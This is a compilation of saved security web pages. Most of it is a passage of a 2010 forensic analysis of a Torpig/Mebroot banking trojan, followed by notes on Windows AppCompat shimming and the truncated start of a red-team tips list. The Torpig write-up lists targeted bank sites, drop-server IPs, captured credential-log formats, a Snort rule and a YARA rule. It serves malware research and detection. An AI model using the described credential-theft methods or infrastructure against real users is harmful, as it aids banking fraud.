temporary files and therefore I created a memory dump with windd and analyzed
it with Mandiant's Memoryze tool. I enumerated the strings and other data from
the services.exe process to obtain more insight into Torpig. Memoryze and
Volatility seem to be the prime freeware memory analysis tools, although one
can also use Windbg with a Microsoft crash dump file \(or a raw memdump
converted by Volatility into an MS crash dump file\). I haven't yet
standardized on the toolkit I wish to use. I like the open source nature of
Volatility, the community around it, and the various plugins available. While
Volatility is nice, some wanting to explore this area may enjoy the use of
Mandiant's Memoryze and their Audit Viewer GUI instead.  
  
The temp file that contains the Torpig configuration can be decoded. But one
can also analyze memory strings which clearly shows the Torpig targets -
generally the URL's that the malware cares about in order to steal
credentials. These can be a bit jumbled up, but shouldn't be too hard to
determine.  
  
Any data pulled from memory will be in **BOLD**. A sample of the torpig config
pulled from memory is as follows:  
  
**policecredit.com.au/easyaccess**  
**tradingdirect.com**  
**ine.com \*acces**  
**businesscreditcardsonline.co.uk**  
**marfinegnatiabank.gr**  
**\*berkshire**  
**millenniumbank.gr**  
**lonline.com \*b**  
**centralbank.gov.cy**  
**r.org \*ccbank**  
**bankofcyprus.com**  
**ankonline.com \***  
**universalbank.com.cy**  
**keystoneonl**  
**citibankonline.ca**  
**om \*fnbaonline**  
**capitalonebank.com**  
**cbusa.com \*ce**  
**nationalcity.com**  
**onalcm.com \*cnb**  
  
Including some targets that I didn't expect:  
  
**/controlpanel r57shell.php c99shell**  
  
Whoever is behind this particular Torpig install cares about people logging
into r57 and c99 PHP shells. I suppose if the intention is to infect as much
as possible, or to find drop space, I can see why they might want this info.
If anyone is aware of the specifics of what they do with these shells, I'd be
curious to know.  
  
Other strings indicate potentially useful information:  
  
IP address **72.51.34.52**  
  
A google search of this IP turns up a variety of Torpig related hits including
some discussion on the Emerging Threats signatures discussion forum. According
to some records, there are 31 websites hosted on that IP as follows - some of
these are clearly stale records  
  
\# http://creativeeyemediagroup.com/  
\# http://discdevils.com/  
\# http://farringtonelectricinc.com/  
\# http://gavod.com/  
\# http://key-east.com/  
\# http://lawnbarbernj.com/  
\# http://monmouthbeachnj.com/  
\# http://ns1.key-east.net/  
\# http://ns2.key-east.net/  
\# http://pornojim.com/  
\# http://rs-trim.com/  
\# http://sk8town.net/  
\# http://surfrider-nj.org/  
\# http://surfriderjsc.org/  
\# http://thecmrc.org/  
\# http://volunteerpilots.org/  
\# http://wmediagroup.com/  
  
I'm sure many others have looked up the site information for this IP, but here
it is again:  
Peer 1 Network Inc. PEER1-BLK-08 \(NET-72-51-0-0-1\)  
72.51.0.0 - 72.51.63.255  
ServerBeach PEER1-SERVERBEACH-06A \(NET-72-51-32-0-1\)  
72.51.32.0 - 72.51.47.255  
  
In the emerging threats mailing list entry here:  
  
http://lists.emergingthreats.net/pipermail/emerging-
sigs/2010-January/005885.html  
  
It is discussed that the following IP's were triggering Torpig alerts for the
following Emerging Threats rule written by Darren Spruel \(thanks and
greetings to Darren\):  
  
alert tcp $HOME\_NET any -> $EXTERNAL\_NET $HTTP\_PORTS \(msg:"ET TROJAN  
Torpig Infection Reporting"; flow:established,to\_server; content:"POST  
"; depth:5; content:\!"|0d 0a|User-Agent\: "; content:"|0d  
0a|Content-Length\: 0|0d 0a|"; content:"|0d 0a|Connection\: close|0d  
0a|"; pcre:"/^\/\[0-9A-F\]\{16\}\/\[0-9A-Za-z\\+\/\]\{100,\}$/U";  
classtype:trojan-activity; reference:url,www2.gmer.net/mbr/;  
reference:url,www.cs.ucsb.edu/~seclab/projects/torpig/torpig.pdf;  
reference:url,doc.emergingthreats.net/2008660;  
reference:url,offensivecomputing.net/?q=node/909;  
reference:url,www.emergingthreats.net/cgi-
bin/cvsweb.cgi/sigs/VIRUS/TROJAN\_Torpig;  
sid:2008660; rev:6;\)  
  
2010-01-23 - present  
58 72.51.34.52  
60 66.135.61.80  
61 72.51.43.97  
  
Back to memory strings - I am not sure what these are but they looked specific
- I assume these are encoded in some way  
  
**gcroaefildi.t/E2Lgnbre=0\sye.akrudclr\#fb3.syedslynn**  
**Z\*pbn.e/nieakn-p/oi.s ls=aoal\[ >\+ tl=iiiiyhde>1**  
  
I would like to try to decode this but haven't gotten around to it yet. I
would appreciate any pointers.  
  
One thing I did before I took the memdump was to ensure that the Torpig
infection came to life by browsing some financial websites from the infected
box. I saw IP 66.135.61.80 being POSTed to when I sniffed the active Torpig
infection. This is/was apparently a Torpig drop site.  
  
Adjacent memory strings to the known drop site IP:  
  
**ikorki.com**  
**kolpinik.com**  
**pibidu.com**  
  
These .com domains were all known bad actors and were listed on various
blacklists and malware lists in the last few years. I guess sewage has a way
of recycling itself.  
  
A visit to a site where my fake login info was dropped is reflected in memory
- this is perhaps the Torpig log file being created, or info being prepared to
be POSTed upstream. In this case, the IP address has been removed from the
dump, but it was probably 66.135.61.80 if my memory serves.  
  
The string **\[avorp1\_251\]** shows up all over the services.exe memory
space.  
  
**IP xxx.xx.xx.xx:**  
**\[avorp1\_251\]**  
**Process: e:\program files\internet explorer\iexplore.exe**  
**REQUEST:**  
**HEADERS:**  
**POST /US/JSO/signon/ProcessUsernameSignon.do HTTP/1.1**  
**Host:online.citibank.com**  
**Referer:https://online.citibank.com/US/JPS/portal/Index.do**  
**POST\_FORM:**  
**SYNC\_TOKEN=c4ea7aaade205da90239926136d0dcf3**  
  
AVORP1 is a string associated with Torpig/Mebroot activity for months. It's
been seen in site URL's such as the following:  
  
http://safeweb.norton.com/report/show?name=tfgoyqotdve.com  
  
Norton SafeWeb alert "HTTP Neosploit Activity 2" is associated with the
following URL's containing the string avorp1:  
  
http://tfgoyqotdve.com/nte/avorp1.py/jU230d9c2eH5402e0a3V0100f060006R0ed7a373102T1f83e1df204L656e2d75730000000000K6e17283b  
  
http://tfgoyqotdve.com/nte/AVORP1.py/jU230d9c2eH2468142cV0100f060006Rc670238e102T6fe91623204L656e2d75730000000000Kfd03ebcb  
  
http://tfgoyqotdve.com/nte/avorp1%20.asp/jU230d9c2eH2305d035V0100f060006R31eee316102T6884d218204L656e2d75730000000000Kb3ce7f8b  
  
And in the following Wepawet report:  
  
http://wepawet.cs.ucsb.edu/view.php?type=js&src=4ec2544c02437e9d3d25e96f419bdc06&t=1256321460  
  
URL http://hioprxmetn.com/ld/avorp1/  
  
MD5 4ec2544c02437e9d3d25e96f419bdc06  
Analysis Started 2009-10-23 11:11:00  
  
And more recently in the faked google.com.analytics.\*.com sites.  
  
  
Neosploit attacks in January 2010 as described by Julia Wolf of Fireeye at
http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html show that
another popular string is AVORP1TREST11.  
  
google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.exe  
google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.php  
google.com.analytics.eicyxtaecun.com/nte/AVORP1TREST11.py  
  
Another interesting memory string is the following:  
  
  
**|7E2265255714757C|00.2|avorp1|7E2265255714757C|**  
  
Not sure what the byte sequence starting with 7E is, or the 00.2 string. I
would appreciate any pointers. I had contemplated that the 7E numbers were
perhaps four pointers to other memory locations but that didn't appear to be
the case.  
  
A full example of what appears to be a Torpig log entry is displayed below.
The IP address of the host shows up just prior to **\[avorp1\_251\]** , which
I interpret to mean that the IP is either the end of the start of the
structure. kdata may be the last field. userid and pass are two of the values
that I know are coming from user input as I used the username and password
USER and PASSSWORD in each field.  
  
**\[avorp1\_251\]**  
**https://signin.ebay.com/ws/eBayISAPI.dll?SignIn&ru=http%3A%2F%2Fwww.ebay.com%2F**  
**https://signin.ebay.com/ws/eBayISAPI.dll?co\_partnerId=2&siteid=0&UsingSSL=1**  
**MfcISAPICommand\(hidden\): SignInWelcome**  
**bhid\(hidden\):
a1%3D5~a2%3D7~a3%3D22145~a4%3DMozilla~a5%3DMicrosoft%20Internet%20Explorer~a6%3D4.0%20\(compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20FunWebProducts%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.4506.2152%3B%20.NET%20CLR%203.5.30729\)~a7%3D%3BSP3%3B~a8%3Den-
us~a9%3Dtrue~a10%3Dx86~a11%3Dtrue~a12%3DWin32~a13%3Den-
us~a14%3DMozilla%2F4.0%20\(compatible%3B%20MSIE%206.0%3B%20Windows%20NT%205.1%3B%20SV1%3B%20FunWebProducts%3B%20.NET%20CLR%202.0.50727%3B%20.NET%20CLR%203.0.4506.2152%3B%20.NET%20CLR%203.5.30729\)~a15%3Dtrue~a16%3Den-
us~a17%3Dwindows-1252~a18%3Dsignin.ebay.com~a19%3D96~a20%3D96~a21%3Dtrue~a22%3D0~a23%3D1024~a24%3D768~a25%3D32~a26%3D738~a27%3D1024~a28%3DThu%20Mar%2011%2011%3A16%3A37%20CST%202010~a29%3D-6~a30%3Dabk%3D6%2C0%2C2900%2C5512%7Cwnt%3D6%2C0%2C2900%2C5512%7Cdht%3D5%2C5000%2C3130%2C0%7Cdhj%3D6%2C0%2C1%2C223%7Cdan%3D6%2C0%2C3%2C531%7Cdsh%3D9%2C0%2C0%2C4503%7Cie5%3D6%2C0%2C2900%2C5512%7Cicw%3D5%2C0%2C2918%2C1900%7Cieh%3D6%2C0%2C2600%2C0%7Ciee%3D4%2C74%2C9273%2C0%7Cwmp%3D9%2C0%2C0%2C4503%7Cobp%3D6%2C0%2C2900%2C5512%7Coex%3D6%2C0%2C2900%2C5512%7Cnet%3D4%2C4%2C0%2C3400%7Ctks%3D4%2C71%2C1968%2C1%7Cmvm%3D5%2C0%2C5000%2C0%7C~a31%3Dyes~a32%3Dx86~a33%3Dyes~a34%3Dno~a35%3Dno~a36%3Dno~a37%3Dno~a38%3Donline~a39%3Dno~a40%3DWin32~a41%3Dno~a42%3Dno~a43%3DT%3D0|o%3D187|r%3D78|p%3D110|i%3D93|g%3D63|-%3D140|F%3D235|U%3D109|C%3D110|K%3D78|Y%3D172|O%3D109|U%3D94|**  
**UsingSSL\(hidden\): 1**  
**inputversion\(hidden\): 2**  
**lse\(hidden\): true**  
**lsv\(hidden\): WIN 9,0,124,0**  
**mid\(hidden\):
AQAAASccLAJFAAUxMjc0ZTNhM2I1Yy5hMDZjMjEzLjJjZmYyLmZmZTRkZTgy+wVizZSnEDRRLAVVSKpmhNQL6Yk\***  
**kgver\(hidden\): 1**  
**kgupg\(hidden\): 1**  
**kgstate\(hidden\): w**  
**siteid\(hidden\): 0**  
**co\_partnerId\(hidden\): 2**  
**ru\(hidden\):http://www.ebay.com/**  
**i1\(hidden\): -1**  
**pageType\(hidden\): -1**  
**rtmData\(hidden\): PS=T.0**  
**userid\(text\): USER**  
**pass\(password\): PASSWORD**  
**keepMeSignInOption\(checkbox\): 1**  
**kdata\(hidden\):
%1E%1F%10%1E1268327798856%1E1%1FT%1E1268327798981%1E1%1F%10%1E1268327799027%1E0%1FT%1E1268327799121%1E0%1FO%1E1268327799168%1E1%1FO%1E1268327799246%1E0%1FR%1E1268327799246%1E1%1FP%1E1268327799356%1E1%1FR%1E1268327799371%1E0%1FI%1E1268327799449%1E1%1FP%1E1268327799465%1E0%1FG%1E1268327799512%1E1%1FI%1E1268327799527%1E0%1FG%1E1268327799621%1E0%1F%BD%1E1268327799652%1E1%1F%BD%1E1268327799746%1E0%1F%10%1E1268327799809%1E1%1FF%1E1268327799887%1E1%1FU%1E1268327799981%1E1%1FF%1E1268327800012%1E0%1FU%1E1268327800059%1E0%1FC%1E1268327800106%1E1%1FK%1E1268327800184%1E1%1FC%1E1268327800231%1E0%1FK%1E1268327800277%1E0%1FY%1E1268327800356%1E1%1FY%1E1268327800465%1E0%1FO%1E1268327800465%1E1%1FU%1E1268327800559%1E1%1FO%1E1268327800590%1E0%1F%10%1E1268327800637%1E0%1FU%1E1268327800652%1E0%1F%09%1E1268327800762%1E1%1F%09%1E1268327800856%1E0%1F%10%1E1268327801043%1E1%1FF%1E1268327801121%1E1%1FF%1E1268327801231%1E0%1FU%1E1268327801231%1E1%1FU%1E1268327801293%1E0%1FC%1E1268327801356%1E1%1FK%1E1268327801418%1E1%1FC%1E1268327801449%1E0%1FK%1E1268327801527%1E0%1FY%1E1268327801637%1E1%1FY%1E1268327801731%1E0%1FO%1E1268327801731%1E1%1FU%1E1268327801824%1E1%1FO%1E1268327801856%1E0%1FU%1E1268327801918%1E0%1F%10%1E1268327802277%1E0%1F**  
  
Other intersting strings interspersed between Torpig/Mebroot structures:  
  
**DRIVERS\RDPCDD.sys**  
**INDOWS\System32\DRIVERS\rdpdr.sys**  
**INDOWS\system32\sessmgr.exe**  
  
While it may be unrelated, these remote desktop drivers makes me wonder about
a remote desktop \(RDP\) connection associated with mebroot/torpig. I have
noticed that a Torpig infection seems to copy the infected users profile over
to the HelpAssistant user. It would be an interesting experiment to see who
might login via RDP into such a system using this account in order to steal
data. I did not reverse engineer the process enough to determine what the
password on the HelpAssistant account might be, but I suspect that it's static
or built in some other manner that would be easy for the attackers to utilize.  
  
Memory string matching the HTTP POST with no User-Agent seen during sniffing
of Torpig/Mebroot activity:  
  
**www.google.com**  
**Date:**  
**Content-Type: text/plain**  
**Content-Type: application/x-www-form-urlencoded**  
**Content-Type: application/octet-stream**  
**POST %s HTTP/1.0**  
**Host: %s**  
**Content-Length: %d**  
**Connection: close**  
  
An interesting tidbit here is that there is no User-Agent string present,
making for an IDS signature. I think there may even be an Emerging Threat
signature to look for this.  
  
Another POST in memory - funky looking domain name, uxggjtcf.biz:  
  
**uxggjtcf.biz**  
**0.0.0.0**  
**POST / HTTP/1.0**  
**Host:www.google.com**  
**Content-Length: 0**  
**Connection: close**  
  
I did not check this domain name against any of the Torpig domain name
generators to see if it matched but I suspect that it would.  
  
**POST / HTTP/1.0**  
**Host:vehdsice.com**  
**Content-Length: 17077**  
**Connection: close**  
**Content-Type: application/octet-stream**  
**xbvvgkjv.com**  
**xbvvgkjv.com**  
  
**E:\WINDOWS\system32\\..\temp\xsw2**  
  
The file xsw2 has been associated with Torpig/Sinowal downloads:  
  
http://www.threatexpert.com/report.aspx?md5=2dc3e6c8aa7dde1d5b105ff71e566b63  
  
**E:\WINDOWS\system32\\..\temp\$$$dq3e**  
  
  
Extracting Drivers from Memory for Scanning/Analysis  
  
Memoryze comes with a driverdd function that allows drivers to be extracted
from a memory dump. Nice tool, as I gather that it will pull out in-memory
trojans this way. In my case, Avira's AntiVir \(being tested at the time\)
detected a variety of malware in several of the extracted drivers:  
  
driverdd -input C:\Analysis\Torpig\memdump.dmp  
  
Submitting these dumped files to VirusTotal is almost an academic exercise, as
far as I can determine. Since the box is under control of mebroot, an
antivirus scanner isn't ever going to notice these files in the first place on
a live running system, AFAIK. While there are other ways to determine
infection, such as dumping the 512K mebrooted bootsector with dd and uploading
that to virustotal, and checking for the presence of the torpig temp files, it
may also be a worthwhile exercise to develop some YARA signature rules to use
with the Volatility memory analysis framework. A future exercise, but if the
string \[avorp1\_251\] is consistent, it should be easy to find with YARA. A
question came up, if win32dd can dump suspicious elements from memory, why
isn't there a way for an anti-malware app to do something similar? \(I have
spent no time checking the run-time versions of these AV tools to determine if
any catch the presence of mebroot/torpig in memory\).  
  
These are some potential YARA fingerprints I whipped up - untested at this
time.  
  
rule Mebroot+Torpig  
\{  
strings:  
$a = "\[avorp1\_251\]" fullword  
$b = "Temp\$$$dq3e" fullword  
$c = "Temp\$67we.$" fullword  
$d = "Temp\xsw2" fullword  
$e = "controlpanel r57shell.php c99shell" fullword  
$f = "66.135.61.80" fullword  
$g = "72.51.34.52" fullword  
  
condition:  
any of them  
\}  
  
  
Anti-malware detections from the dumped drivers  
\(analysis performed around the end of March, 2010\)  
  
Virus or unwanted program 'TR/Rootkit.Gen \[trojan\]'  
detected in file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\%5cSystemRoot%5cSystem32%5cDrivers%5cRDPWD.SYS.  
  
VirusTotal: 7 out of 42 detected.  
http://www.virustotal.com/analisis/c509d9f073d55179b78f2ebfc1d891478bbae75183d39d6dca0f1b0340beff36-1269917250  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
McAfee-GW-Edition 6.8.5 2010.03.29 Trojan.Rootkit.Gen  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
In this and many of the other samples, generic signatures triggered
frequently, except for K7AntiVirus seeing this as a Win32.Bagle downloader.  
  
Virus or unwanted program 'TR/Rootkit.Gen \[trojan\]'  
detected in file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\%5cSystemRoot%5cSystem32%5cDRIVERS%5cflpydisk.sys.  
  
http://www.virustotal.com/analisis/ceca1b0668bef28ec09a9afe4c3d66a25bd29cda2fad56444a689b89269bdeab-1269917678  
  
Result: 7/42 \(16.67%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
McAfee-GW-Edition 6.8.5 2010.03.29 Trojan.Rootkit.Gen  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
Virus or unwanted program 'TR/Rootkit.Gen \[trojan\]'  
detected in file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\%5cSystemRoot%5cSystem32%5cDRIVERS%5cipnat.sys.  
  
http://www.virustotal.com/analisis/3fa363b83419ed29e052a5de6b561bcd0185afaa401c8d81d9f699a62e597c59-1269917883  
  
ipnat.sys is detected by less AV vendors, however Sophos alerts this time.  
  
Result: 6/39 \(15.39%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Sophos 4.52.0 2010.03.30 Sus/Behav-192  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
  
Virus or unwanted program 'TR/Rootkit.Gen \[trojan\]'  
detected in file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\%5cSystemRoot%5cSystem32%5cDRIVERS%5cmouclass.sys.  
  
http://www.virustotal.com/analisis/6b43904b919fb26594b944125bf83926027102c64300c7d79717dccd8d36cf63-1269918061  
  
Result: 7/42 \(16.67%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
McAfee-GW-Edition 6.8.5 2010.03.29 Trojan.Rootkit.Gen  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
  
The file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\%5cWINDOWS%5csystem32%5cntoskrnl.exe'  
contained a virus or unwanted program 'TR/Patched.Gen' \[trojan\]  
  
http://www.virustotal.com/analisis/94ecbbe8e664ba7f665079c5ea5e6258bf914815107d69f41da728b5c03f43e8-1269918286  
  
Result: 5/42 \(11.91%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Patched.Gen  
Authentium 5.2.0.5 2010.03.30 W32/Heuristic-CO3\!Eldorado  
F-Prot 4.5.1.85 2010.03.29 W32/Heuristic-CO3\!Eldorado  
McAfee-GW-Edition 6.8.5 2010.03.29 Trojan.Patched.Gen  
Symantec 20091.2.0.41 2010.03.30 Suspicious.Insight  
  
  
The file 'C:\Analysis\Torpig\Audits\CW-SECANALYSIS\20100327045903\ACPI.sys'  
contained a virus or unwanted program 'TR/Rootkit.Gen' \[trojan\]  
  
http://www.virustotal.com/analisis/c33a00799d1fb3069289a213c70b2fa832cdb3752ef8de49ba2b91d114f7f3c7-1269918439  
  
Result: 7/42 \(16.67%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
McAfee-GW-Edition 6.8.5 2010.03.29 Trojan.Rootkit.Gen  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
  
The file 'C:\Analysis\Torpig\Audits\CW-
SECANALYSIS\20100327045903\MountMgr.sys'  
contained a virus or unwanted program 'TR/Rootkit.Gen' \[trojan\]  
  
http://www.virustotal.com/analisis/b04ba44b2d8eee62ea6d31051a8bd7b2fb8e7b3f1595353dbebe120c0e434029-1269919047  
  
Result: 6/39 \(15.39%\)  
  
AntiVir 7.10.5.248 2010.03.29 TR/Rootkit.Gen  
AVG 9.0.0.787 2010.03.29 Generic17.AHIQ  
K7AntiVirus 7.10.1004 2010.03.22 Trojan-Downloader.Win32.Bagle  
PCTools 7.0.3.5 2010.03.30 HeurEngine.Packed-Verne  
Symantec 20091.2.0.41 2010.03.30 Packed.Generic.99  
  
  
Extracting the secondary loader from disk  
  
Using dd, the last section of the infected disk was dumped to a file. The disk
offset could be determined but in this case was a guess, and a PE header was
found therein. Foremost was used to extract the PE file as such:  
  
Foremost version 1.5.4 by Jesse Kornblum, Kris Kendall, and Nick Mikus  
Audit File  
  
Foremost started at Fri Mar 12 22:24:29 2010  
Invocation: foremost -t exe -i diskdump-skip.dd -v  
Output directory: /media/sdc1/Torpig/output  
Configuration file: /etc/foremost.conf  
\------------------------------------------------------------------  
File: diskdump-skip.dd  
Start: Fri Mar 12 22:24:29 2010  
Length: 122 MB \(128000000 bytes\)  
  
Num Name \(bs=512\) Size File Offset Comment  
  
0: 00232150.exe 271 KB 118860800 08/23/2005 13:10:35  
Finish: Fri Mar 12 22:24:29 2010  
  
1 FILES EXTRACTED  
  
exe:= 1  
\------------------------------------------------------------------  
  
Foremost finished at Fri Mar 12 22:24:29 2010  
  
  
VirusTotal recognized this file: Result: 13/42 \(30.95%\)  
  
http://www.virustotal.com/analisis/bfb6902739b9e451c4a24aa0d634477a428eac869ba3ebd911161c691702c039-1268509923  
  
a-squared 4.5.0.50 2010.03.13 Backdoor.Win32.Sinowal\!IK  
AntiVir 8.2.1.180 2010.03.12 TR/Crypt.ZPACK.Gen  
AVG 9.0.0.787 2010.03.13 BackDoor.Generic12.ARAL  
BitDefender 7.2 2010.03.13 Gen:Heur.Krypt.3  
F-Secure 9.0.15370.0 2010.03.13 Gen:Heur.Krypt.3  
GData 19 2010.03.13 Gen:Heur.Krypt.3  
Ikarus T3.1.1.80.0 2010.03.13 Backdoor.Win32.Sinowal  
Kaspersky 7.0.0.125 2010.03.13 Backdoor.Win32.Sinowal.fox  
McAfee+Artemis 5919 2010.03.13 Artemis\!17DF8A87A7ED  
McAfee-GW-Edition 6.8.5 2010.03.13 Trojan.Crypt.ZPACK.Gen  
NOD32 4942 2010.03.13 a variant of Win32/Mebroot.CK  
Panda 10.0.2.2 2010.03.13 Trj/CI.A  
Symantec 20091.2.0.41 2010.03.13 Suspicious.Insight  
  
Since this file lives outside of accessability by the Windows OS, file
detection seems a moot point. However, if there are memory remnants of this,
that might lead to better detection. I did not attempt to run this file or to
perform any further analysis. Apparently this driver file is encrypted, and
has surely been looked at by others \(although I don't recall reading much
about it\).  
  
  
References and further reading:  
  
http://www.trustdefender.com/blog/2009/07/09/the-nastiest-ebanking-trojan-
mebroot-just-got-nastier/  
  
http://www.threatexpert.com/report.aspx?md5=2dc3e6c8aa7dde1d5b105ff71e566b63  
  
http://www.trustdefender.com/blog/2009/01/07/mbrmebrootsinowaltorpig-is-
back-%E2%80%93-better-than-ever/  
  
http://web17.webbpro.de/index.php/analysis-of-sinowal  
  
http://web17.webbpro.de/index.php?page=advanced-analysis-of-sinowal  
  
http://openpdf.com/ebook/torpig-pdf.html points to a bunch of documents about
Torpig, some of which have received a lot of press in the security/malware
research world. Some of those docs that I found very good:  
  
http://www.csnc.ch/misc/files/publications/2009\_scsII\_andreas\_greulich\_ReverseCodeEngineering.pdf  
  
http://www.mnin.org/write/2006\_torpigsigs.pdf  
  
The above is a 2006 document from the always informative and skilled Michael
Hale Ligh.  
  
http://www.cs.ucsb.edu/~vigna/courses/cs279/Slides/BotnetTorpig.pdf  
  
http://www.cs.ucsb.edu/~seclab/projects/torpig/torpig.pdf  
  
The above is the excellent "Your Botnet is my Botnet: Analysis of a Botnet
Takeover" paper describing a Torpig takeover, great work guys.  
  
http://www.terena.org/activities/tf-csirt/meeting26/gayet-prg-vs-torpig.pdf  
  
http://fserror.com/pdf/Torpig.pdf  
  
The above document, by Ken Dunham from 2007, shows the plaintext files from a
previous generation of Torpig development.  
  
http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-ligh-
sinclair.pdf

Posted by cw at 7:49 PM <img src='img/Temp2_6205' width='18' height='18' />

Labels: crimeware, malware, mebroot, memory analysis, Memoryze, Torpig

  *[7:49 PM]: 2010-05-27T19:49:00-07:00

# Research, Develop, Assess, Consult & Educate | Recx: Windows AppCompat Research Notes - Part 1
**Created:**| _4/30/2012 2:29:12 PM_  
---|---  
**Updated:**| _4/30/2012 2:29:12 PM_  
**Author:**| __  
**Tags:**| _windows security vulnerability_  
  

### Windows AppCompat Research Notes - Part 1

These notes have be sitting around in a file for a while now. The reason we're
publishing them is to both motivate ourselves and also to motivate others to
continue documenting how AppCompat on Microsoft Windows works.

  

Overview

AppCompat is built into the Windows loader that provides a common
infrastructure to patch the IAT \(Import Address Table\) of a process for
shimming. AppCompat at its core is made up of databases / DLLs that define
which shims apply to which binaries.

  

Why do we care about AppCompat when we're security people? We'll there are
several reasons. For example there is an AppCompat patch to use a 'Fault
tolerant heap'. So even applications deployed on the latest and greatest
Windows may not be able to use the default heap and revert to a less secure
implementation due to 'compatibility reasons' \(which is code for they corrupt
their heap\). Knowing this information allows us to better understand our
exposure.

  

We also see other applications for AppCompat to improve security using a
Microsoft sanctioned patching mechanism. For example we think it would be
great you could deploy via the AppCompat enterprise configuration VirtualAlloc
replacements for all processes.

  

Prior Research / Database Structure

Alex Ionsecu looked into AppCompat and the database \[1\]\[2\]\[3\]\[4\].
We're not going to repeat what he said so we encourage you to go and read that
first. However his SDB tool from part 4 can be built using the Microsoft APIs.

  

There is also interesting Chinese blog post from 2008 which details quite a
bit about how stuff works \(although via Google translate it's hard going\).

  

Building Databases / Configuring Applications

If you want to see which fixes are available via a GUI and experiment
Microsoft make a tool available called the Microsoft Application Compatibility
Toolkit. This can be used to build new AppCompat databases and configurations.
It can also be used to investigate the available fix if you don't want to
implement a tool like Alex's.

  

Files related to AppCompat

The files on Windows 7 at least which appear to make up AppCompat are \(note:
does not document the loader aspects\):

  

Core Engine

  * ShimEng.dll

Miscellaneous files

  * AMX\amxread.dll
  * APILog\apilogen.dll

General AppCompat

  * AppPatch\AcGenral.dll
  * AppPatch\AcLayers.dll
  * AppPatch\AcRes.dll
  * AppPatch\AcSpecfc.dll
  * AppPatch\acwow64.dll
  * AppPatch\AcXtrnal.dll
  * AppPatch\apihex86.dll
  * AppPatch\AppPatch64\AcGenral.dll
  * AppPatch\AppPatch64\AcLayers.dll
  * AppPatch\AppPatch64\acspecfc.dll
  * AppPatch\AppPatch64\AcXtrnal.dll
  * AppPatch\AppPatch64\apihex64.dll
  * AppPatch\en-US\AcRes.dll.mui

Application Verifier \(yes it too uses the AppCompat infrastructure\)

  * AppVer\vfbasics.dll
  * AppVer\vfcompat.dll
  * AppVer\vfLuaPriv.dll
  * AppVer\vfpodbc.dll
  * AppVer\vfprint.dll
  * AppVer\vfprintpthelper.dll
  * AppVer\vfwwdm32.dll
  * AppVer\vrfcore.dll

  

AppCompat DLL Structure

As Alex noted it appears Microsoft use a C++ class \(its called ShimLib::\)
internally when implementing AppCompat DLLs. AppCompat is used by Microsoft
technologies such as EMET and Application Verifier. For example see EMET.dll
in C:\Program Files \(x86\)\EMET and you'll see it has the standard AppCompat
exports:

  * GetHookAPIs\(char \*,ushort \*,ulong \*\)
  * NotifyShims\(char \*, unsigned \_\_int16 \*, unsigned \_\_int32 \*\)

During our research we found a single DLL, apihex86.dll, that doesn't use the
Microsoft C++ class \(ShimLib::\) that the others do. As a result it's this
binary that we're focusing our efforts on in order to understand the interface
so we can look at writing out own shims \(also its tiny compared to the
others\).

  

Looking at GetHookAPIs we see it sets up an array of structures with both the
original API and the new API to be called in its place before passing the
array back to the caller. In short quite simple...

  

AppCompat Machine Deployment

When AppCompat is used on a machine the registry key
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags is populated. For example on my machine where
I have deployed EMET against a process \(we've previously mentioned EMET uses
AppCompat\) we see a custom AppCompat \(SDB\) database installed:

  

<img src='img/Temp2_6820.png' width='400' height='142' />  
---  
Click for larger version  
Then a mapping between these two databases and the EMET configured process:

<img src='img/Temp2_6819.png' width='400' height='140' />  
---  
Click for larger version  
  

  

Conclusions

You know you're looking at something interesting when you Google '_shimlib
appcompat_ ' and get 0 results and '_appcompat gethookapi_ ' gets you 8.
Anyway that's it for now...

# vysec/RedTips

**Created:**| _6/29/2017 3:52:46 PM_  
---|---  
**Updated:**| _6/29/2017 3:52:46 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Credits

The following tips were posted by @vysecurity on Twitter

# Disclaimer

The following information should not be used for malicious purposes or intent

# Red Team Tips by @vysecurity on Twitter

Red Tip \#1: Profile your victim and use their user agent to mask your
